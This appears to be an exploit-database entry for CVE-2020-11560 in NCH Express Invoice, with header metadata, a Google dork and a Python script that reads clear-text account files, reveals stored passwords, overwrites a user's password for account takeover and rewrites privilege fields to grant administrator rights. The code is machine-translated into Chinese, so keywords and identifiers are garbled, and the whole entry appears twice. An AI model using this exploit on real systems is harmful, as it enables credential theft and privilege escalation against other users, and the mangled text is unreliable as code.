#利用标题: NCH Express发票- 清除文本密码存储和帐户收购
#Google Dork3: Intitle: ExpressInVoice-登录
#日期: 07/2020年4月
#漏洞作者: tejas nitin pingulkar(https://cvewalkthrough.com/)
#供应商homepage: https://www.nchsoftware.com/
#软件link: http://www.oddversiondownload.com/oldversions/express-8-05-05-2020-06-08.exe
#版本: NCH Express发票8.24和之前
#CVE编号: CVE-2020-11560
#CVSS: 7.8(高)
#参考: https://cvewalkthrough.com/cve-2020-11560/
#漏洞描述:
#Express Invoice是一个厚的客户端应用程序,具有允许通过Web访问应用程序的功能。 While configuring web access function application ask for user details such as username, password, email, etc. Application stores this information in “C:\ProgramData\NCH Software\ExpressInvoice\Accounts” in clear text as well as due to inadequate folder pemtion any Low prevladge authenticated user can access files stored in clearext format
#note:版本8.24路径更改为“ C: \ programData \ nch Software \ expressInvoice \ webaccounts”
导入操作系统
导入Urllib.Parse
#启用windows上颜色的ANSI逃脱序列
如果os.name=='nt':
OS.System('')
#函数以解码URL编码
DEF DECODE_URL(URL):
desded_url=urllib.parse.unquote(url)
返回doded_url
#功能列出文件并显示为数字列表
def list_files(file_list):
对于我,在枚举中文件(file_list,start=1):
#在%40之后省略文件名的一部分
用户名=file.split('%40')[0]
print(f'{i}。{username}')
#主要程序
print('\ 033 [93mdisclaimer:此脚本仅用于教育目的。')
打印(“作者对任何未经授权的用法都不承担任何责任。”)
打印('请使用此脚本负责并遵守法律和道德准则。\ 033 [0M')
协议=输入('\ 033 [93mdo您同意条款吗?(是=1,否=0): \ 033 [0m')
如果协议!='1':
print('\ 033 [93myou不同意该条款。退出程序。\ 033 [0M')
出口()
nch_version=input('\ 033 [93MIS目标NCH Express发票应用程序版本小于8.24?(是=1,否=0): \ 033 [0m')
如果nch_version=='1':
file_directory=r'C: \ programData \ nch软件\ expressInvoice \ webaccounts'
其他:
file_directory=r'c: \ programData \ nch软件\ expressInvoice \ accounts'
file_list=os.listdir(file_directory)
print('\ 033 [94MUSER Aculact: \ 033 [0M')
list_files(file_list)
selected_file=input('\ 033 [94mselect user: \ 033 [0m')的文件编号
selected_file=int(selected_file)-1
file_path=os.path.join(file_directory,file_list [selected_file])
用file:打开(file_path,'r')
内容=file.read()
打印(f'\ 033 [94mselected user: {file_list [selected_file] .split('%40')[0]} \ 033 [0m')
exploit_option=输入('\ n \ 033 [94mselect exploit option:'
'\ n1。显示用户密码
'\ n2。使用密码更换帐户收购'
'\ n3。用户特权升级\ noption: \ 033 [0m')
#利用动作
如果exploit_option=='1':
decded_contents=decode_url(内容)
打印('\ 033 [91mplease在下面的字符串: \ 033 [0M')中找到密码
打印(decoded_contents)
elif exploit_option=='2':
new_password=input('\ 033 [92Menter新密码: \ 033 [0M')
current_password=contents.split('password=')[1] .split('')[0]
replaced_contents=contents.replace(f'password={current_password}',f'password={new_password}')
print('\ 033 [92msected用户的密码更改为:您的密码\ 033 [0M')
打印(替换_contents)
用file:打开(file_path,'w')
file.write(替换_contents)
elif exploit_option=='3':
替换_CONTENTS=contents.replace('indercancerator=0','abisionalator=1')。替换('privlligies=2','privlligies=1')
print('\ 033 [92Muser现在是管理员。\ 033 [0m')
打印(替换_contents)
用file:打开(file_path,'w')
file.write(替换_contents)
其他:
print('\ 033 [91minvalid exploit选项。退出程序。\ 033 [0m')
出口()
print('\ 033 [91mfor更多此类有趣的漏洞,请访问cvewalkthrough.com \ 033 [0m')
输入('\ 033 [91mpress输入到退出。\ 033 [0m')
#Google Dork3: Intitle: ExpressInVoice-登录
#日期: 07/2020年4月
#漏洞作者: tejas nitin pingulkar(https://cvewalkthrough.com/)
#供应商homepage: https://www.nchsoftware.com/
#软件link: http://www.oddversiondownload.com/oldversions/express-8-05-05-2020-06-08.exe
#版本: NCH Express发票8.24和之前
#CVE编号: CVE-2020-11560
#CVSS: 7.8(高)
#参考: https://cvewalkthrough.com/cve-2020-11560/
#漏洞描述:
#Express Invoice是一个厚的客户端应用程序,具有允许通过Web访问应用程序的功能。 While configuring web access function application ask for user details such as username, password, email, etc. Application stores this information in “C:\ProgramData\NCH Software\ExpressInvoice\Accounts” in clear text as well as due to inadequate folder pemtion any Low prevladge authenticated user can access files stored in clearext format
#note:版本8.24路径更改为“ C: \ programData \ nch Software \ expressInvoice \ webaccounts”
导入操作系统
导入Urllib.Parse
#启用windows上颜色的ANSI逃脱序列
如果os.name=='nt':
OS.System('')
#函数以解码URL编码
DEF DECODE_URL(URL):
desded_url=urllib.parse.unquote(url)
返回doded_url
#功能列出文件并显示为数字列表
def list_files(file_list):
对于我,在枚举中文件(file_list,start=1):
#在%40之后省略文件名的一部分
用户名=file.split('%40')[0]
print(f'{i}。{username}')
#主要程序
print('\ 033 [93mdisclaimer:此脚本仅用于教育目的。')
打印(“作者对任何未经授权的用法都不承担任何责任。”)
打印('请使用此脚本负责并遵守法律和道德准则。\ 033 [0M')
协议=输入('\ 033 [93mdo您同意条款吗?(是=1,否=0): \ 033 [0m')
如果协议!='1':
print('\ 033 [93myou不同意该条款。退出程序。\ 033 [0M')
出口()
nch_version=input('\ 033 [93MIS目标NCH Express发票应用程序版本小于8.24?(是=1,否=0): \ 033 [0m')
如果nch_version=='1':
file_directory=r'C: \ programData \ nch软件\ expressInvoice \ webaccounts'
其他:
file_directory=r'c: \ programData \ nch软件\ expressInvoice \ accounts'
file_list=os.listdir(file_directory)
print('\ 033 [94MUSER Aculact: \ 033 [0M')
list_files(file_list)
selected_file=input('\ 033 [94mselect user: \ 033 [0m')的文件编号
selected_file=int(selected_file)-1
file_path=os.path.join(file_directory,file_list [selected_file])
用file:打开(file_path,'r')
内容=file.read()
打印(f'\ 033 [94mselected user: {file_list [selected_file] .split('%40')[0]} \ 033 [0m')
exploit_option=输入('\ n \ 033 [94mselect exploit option:'
'\ n1。显示用户密码
'\ n2。使用密码更换帐户收购'
'\ n3。用户特权升级\ noption: \ 033 [0m')
#利用动作
如果exploit_option=='1':
decded_contents=decode_url(内容)
打印('\ 033 [91mplease在下面的字符串: \ 033 [0M')中找到密码
打印(decoded_contents)
elif exploit_option=='2':
new_password=input('\ 033 [92Menter新密码: \ 033 [0M')
current_password=contents.split('password=')[1] .split('')[0]
replaced_contents=contents.replace(f'password={current_password}',f'password={new_password}')
print('\ 033 [92msected用户的密码更改为:您的密码\ 033 [0M')
打印(替换_contents)
用file:打开(file_path,'w')
file.write(替换_contents)
elif exploit_option=='3':
替换_CONTENTS=contents.replace('indercancerator=0','abisionalator=1')。替换('privlligies=2','privlligies=1')
print('\ 033 [92Muser现在是管理员。\ 033 [0m')
打印(替换_contents)
用file:打开(file_path,'w')
file.write(替换_contents)
其他:
print('\ 033 [91minvalid exploit选项。退出程序。\ 033 [0m')
出口()
print('\ 033 [91mfor更多此类有趣的漏洞,请访问cvewalkthrough.com \ 033 [0m')
输入('\ 033 [91mpress输入到退出。\ 033 [0m')